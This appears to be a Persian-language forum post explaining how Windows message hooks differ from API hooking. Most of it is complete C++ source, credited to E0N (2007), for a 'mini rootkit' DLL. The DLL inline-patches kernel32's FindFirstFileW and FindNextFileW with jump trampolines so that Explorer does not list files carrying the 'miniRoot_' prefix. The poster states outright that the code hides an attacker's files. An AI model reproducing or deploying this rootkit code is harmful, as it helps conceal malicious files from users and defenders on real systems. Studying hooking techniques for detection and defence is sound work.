شما نظرتون در مورد هوک اشتباس
2 نوع هوک تو ویندوز داریم
1 هوکی که توسط توابع api و ویندوز پیاده سازی میشه که محدود به هوک های زیر می باشد
کد:
CallMsgFilter
CallNextHookEx
CallWndProc
CallWndRetProc
CBTProc
DebugProc
ForegroundIdleProc
GetMsgProc
JournalPlaybackProc
JournalRecordProc
KeyboardProc
MessageProc
MouseProc
SetWindowsHookEx
ShellProc
SysMsgProc
UnhookWindowsHookEx
hookapi با هوکی که داخل ویندوز هست کاملا متفاوته
هوک خاصی برای کاری که شما میخواهید انجام بدین وجود نداره پس بیخودی به هوک کیبورد که توسط خود ویندوز و توابع api مدیریت میشه نچسب
این یه مینی روتکیت هست که با هوک findFirstFileW و FineNextFileW فایلهای مورد نظر مهاجم رو در explorer مخفی میکنه
کد:
// Example of a little rootkit
// E0N (L) 2007
#include <windows.h>
#include <iostream>
// DECLARACIONES:
BYTE *BufferFF; // Buffer to use original FindFirstFileW
BYTE *BufferFN; // Buffer to use original FindNextFileW
char Prefijo[] = "miniRoot_"; // prefix for hide files
// FUNCIONES:
void Hookear(); // Función que hookeará el api
// Función que será llamada en vez de FindFirstFileW
HANDLE __stdcall miFindFirstFileW(LPCTSTR lpFileName,LPWIN32_FIND_DATAW lpFindFileData);
// Puntero a función con el cual llamaremos al api FindFirstFileW original
HANDLE (__stdcall *pBuffFF) (LPCTSTR lpFileName, LPWIN32_FIND_DATAW lpFindFileData);
// Función que será llamada en vez de FindNextFileW
HANDLE __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData);
// Puntero a función con el cual llamaremos al api FindNextFileW original
HANDLE (__stdcall *pBuffFN) (HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData);
// FUNCIÓN MAIN
bool WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
// Si cargan la DLL hookeamos
if (fdwReason == DLL_PROCESS_ATTACH)
{
MessageBox (0, "CARGADA!!!!!", "", 0);
Hookear();
}
return TRUE;
}
// FUNCIÓN QUE LLAMARÁ EL PROGRAMA PRINCIPAL CREYENDO QUE ES EL API FINDFIRSTFILEW
HANDLE __stdcall miFindFirstFileW(LPCTSTR lpFileName,LPWIN32_FIND_DATAW lpFindFileData)
{
// No hacemos nada en especial
HANDLE hand = pBuffFF(lpFileName,lpFindFileData);
return hand;
}
// FUNCIÓN QUE LLAMARÁ EL PROGRAMA PRINCIPLA CREYENDO QUE ES EL API FINDNEXTFILEW
HANDLE __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData)
{
// Ocultamos los archivos que empiecen por el prefijo indicado
HANDLE hand;
char ascStr[611];
do
{
hand = pBuffFN(hFindFile,lpFindFileData);
WideCharToMultiByte(CP_ACP, 0, lpFindFileData->cFileName, -1, ascStr, 611, NULL, NULL);
}while (strncmp(ascStr,Prefijo,strlen(Prefijo)) == 0 && hand != NULL);
return hand;
}
// FUNCIÓN PARA HOOKEAR FINDNEXTFILEW Y FINDFIRSTFILEW
void Hookear()
{
DWORD ProteVieja; // Parametro para VirtualProtect
BYTE *DirFN; // La dirección en memoria de FindNextFileW
BYTE *DirYoFN; // La dirección en memoria de la función que replaza a FindNextFileW
BYTE *DirFF; // La dirección en memoria de FindFirstFileW
BYTE *DirYoFF; // La dirección en memoria de la función que replaza a FindFirstFileW
// --> HOOKEAMOS FINDFIRSTFILEW (7 bytes)
// Obtenemos la dirección en memoria de FindNextFileW
DirFF=(BYTE *) GetProcAddress(GetModuleHandle("kernel32.dll"), "FindFirstFileW");
// Reservamos 12 bytes de memoria para nuestro Buffer
BufferFF=(BYTE *) malloc (12);
//Le damos todos los permisos a los 12 bytes de nuestro Buffer
VirtualProtect((void *) BufferFF, 12, PAGE_EXECUTE_READWRITE, &ProteVieja);
// Copiamos los 7 primeros bytes del api en el buffer
memcpy(BufferFF,DirFF,7);
BufferFF += 7;
// En los 5 bytes restantes...
// En el primero introducimos un jmp
*BufferFF=0xE9;
BufferFF++;
// En los otros 4 la distancia del salto
*((signed int *) BufferFF)= DirFF - BufferFF + 3;
// Asignamos al puntero a funcion pBuff el inicio del Buffer para poder ejecutar el api original
pBuffFF = (HANDLE (__stdcall *)(LPCTSTR,LPWIN32_FIND_DATAW)) (BufferFF-8);
// Le damos todos los permisos a los 5 primeros bytes de la api original
VirtualProtect((void *) DirFF,5,PAGE_EXECUTE_READWRITE,&ProteVieja);
// Cambiamos el tipo a puntero a byte para facilitar el trabajo
DirYoFF=(BYTE *) miFindFirstFileW;
// En el inicio de la api metemos un jmp para que salte a miFindNextFileW
*DirFF=0xE9;
DirFF++;
// Metemos la distancia del salto
*((signed int *) DirFF)=DirYoFF - DirFF - 4;
// --> HOOKEAMOS FINDNEXTFILEW (7 bytes)
// Obtenemos la dirección en memoria de FindNextFileW
DirFN=(BYTE *) GetProcAddress(GetModuleHandle("kernel32.dll"), "FindNextFileW");
// Reservamos 12 bytes de memoria para nuestro Buffer
BufferFN=(BYTE *) malloc (12);
//Le damos todos los permisos a los 12 bytes de nuestro Buffer
VirtualProtect((void *) BufferFN, 12, PAGE_EXECUTE_READWRITE, &ProteVieja);
// Copiamos los 7 primeros bytes del api en el buffer
memcpy(BufferFN,DirFN,7);
BufferFN += 7;
// En los 5 bytes restantes...
// En el primero introducimos un jmp
*BufferFN=0xE9;
BufferFN++;
// En los otros 4 la distancia del salto
*((signed int *) BufferFN)= DirFN - BufferFN + 3;
// Asignamos al puntero a funcion pBuff el inicio del Buffer para poder ejecutar el api original
pBuffFN = (HANDLE (__stdcall *)(HANDLE,LPWIN32_FIND_DATAW)) (BufferFN-8);
// Le damos todos los permisos a los 5 primeros bytes de la api original
VirtualProtect((void *) DirFN,5,PAGE_EXECUTE_READWRITE,&ProteVieja);
// Cambiamos el tipo a puntero a byte para facilitar el trabajo
DirYoFN=(BYTE *) miFindNextFileW;
// En el inicio de la api metemos un jmp para que salte a miFindNextFileW
*DirFN=0xE9;
DirFN++;
// Metemos la distancia del salto
*((signed int *) DirFN)=DirYoFN - DirFN - 4;
// Libermos librerias de cache
FlushInstructionCache(GetCurrentProcess(),NULL,NULL);
}
شما در کل این کد هیچ تابعی مثل SetWindowsHookEx یا CallNextHookEx و .... پیدا نمیکنید